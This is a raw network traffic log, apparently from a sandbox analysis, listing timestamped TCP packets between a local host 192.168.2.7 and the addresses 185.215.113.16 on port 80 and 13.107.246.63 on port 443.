Nov 24, 2024 05:11:42.037091970 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.037159920 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.040532112 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.040726900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.040807009 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.044197083 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.044317007 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.044384956 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.047826052 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.047919035 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.047988892 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.051572084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.051608086 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.051678896 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.055138111 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.055242062 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.055306911 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.058793068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.058873892 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.058936119 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.062448978 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.062627077 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.062716961 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.066066027 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.066179037 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.066232920 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.069724083 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.069843054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.069895029 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.073374033 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.073470116 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.073520899 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.077002048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.077106953 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.077158928 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.080636024 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.080743074 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.080801010 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.084305048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.084363937 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.084407091 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.085364103 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.085426092 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.085666895 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.085705042 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.085721016 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.085743904 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.085748911 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.087917089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.088032007 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.088097095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.089014053 CET	49764	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.089050055 CET	443	49764	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.089118958 CET	49764	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.089283943 CET	49764	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.089297056 CET	443	49764	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.091603041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.091711998 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.091759920 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.095241070 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.095355988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.095407009 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.098865032 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.099097967 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.099157095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.102474928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.131048918 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.131139994 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.131387949 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.131427050 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.131443977 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.131453991 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.131458998 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.134656906 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.134689093 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.134753942 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.134902954 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.134912014 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.141895056 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.142009974 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.142077923 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.142173052 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.142191887 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.142201900 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.142206907 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.145111084 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.145150900 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.145226955 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.145442963 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.145457029 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.145817995 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.181591988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.181694031 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.181754112 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.182399988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.182558060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.182611942 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.185409069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.185513020 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.185570955 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.188448906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.188658953 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.188710928 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.191370964 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.191468954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.191525936 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.194308996 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.194550037 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.194631100 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.197160959 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.197277069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.197834015 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.199930906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.200047016 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.200973034 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.202706099 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.202740908 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.205267906 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.205295086 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.205390930 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.207947016 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.208014965 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.208189011 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.208241940 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.210582018 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.210794926 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.210855007 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.213166952 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.213248014 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.213305950 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.215598106 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.215799093 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.216998100 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.218144894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.218255043 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.220607996 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.220669031 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.220808983 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.223023891 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.223078012 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.223134041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.223174095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.225455999 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.225502968 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.225549936 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.227864981 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.227988005 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.228044033 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.230269909 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.230387926 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.230544090 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.232634068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.232738972 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.232795000 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.235059023 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.235136032 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.235183954 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.237421989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.237536907 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.237588882 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.239823103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.239942074 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.239989996 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.242230892 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.242361069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.242404938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.244568110 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.244683027 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.244725943 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.246997118 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.247133970 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.247178078 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.249382973 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.249496937 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.249557972 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.251738071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.251842976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.251890898 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.254142046 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.254314899 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.254373074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.256515026 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.256634951 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.256680965 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.258943081 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.259028912 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.259078026 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.261339903 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.261424065 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.261482000 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.263684988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.263803005 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.263855934 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.266050100 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.266211033 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.266261101 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.268471956 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.268579960 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.268630028 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.270898104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.270961046 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.271003008 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.273323059 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.273350954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.273400068 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.275671005 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.275798082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.275851965 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.278027058 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.278317928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.278367996 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.280424118 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.280478001 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.280522108 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.282846928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.282917976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.282963037 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.285207033 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.285327911 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.285372019 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.287585974 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.287698030 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.287746906 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.289983988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.290096998 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.290143967 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.292401075 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.292434931 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.292479992 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.294754028 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.294800043 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.294850111 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.297147989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.297252893 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.297297955 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.299542904 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.299753904 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.299807072 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.301970005 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.302154064 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.302201986 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.304367065 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.304440975 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.304486036 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.306710958 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.306869030 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.306911945 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.309115887 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.309216976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.309262037 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.311445951 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.364572048 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.373498917 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.373713970 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.373783112 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.374429941 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.374557018 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.374615908 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.374986887 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.375052929 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.375111103 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.375360966 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.375360966 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.375396967 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.375421047 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.376215935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.376332998 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.376414061 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.378037930 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.378138065 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.378175974 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.378741980 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.378777027 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.378840923 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.379107952 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.379118919 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.379837036 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.380002022 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.380055904 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.381571054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.381676912 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.381736040 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.383308887 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.383363962 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.383451939 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.385086060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.385159016 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.385210037 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.386751890 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.386857033 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.386912107 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.388421059 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.388530016 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.388593912 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.390084982 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.390201092 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.390255928 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.391746044 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.391788006 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.391834974 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.393357992 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.393461943 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.393513918 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.394982100 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.395000935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.395061970 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.396586895 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.396687031 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.396742105 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.398155928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.398262024 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.398313999 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.399713039 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.399797916 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.399848938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.401266098 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.401365995 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.401410103 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.402796984 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.402915001 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.402962923 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.404335022 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.404469967 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.404517889 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.405908108 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.405987978 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.406034946 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.407371044 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.407463074 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.407509089 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.408858061 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.408966064 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.409009933 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.410345078 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.410456896 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.410499096 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.411820889 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.411863089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.411911011 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.413311005 CET	80	49761	185.215.113.16	192.168.2.7
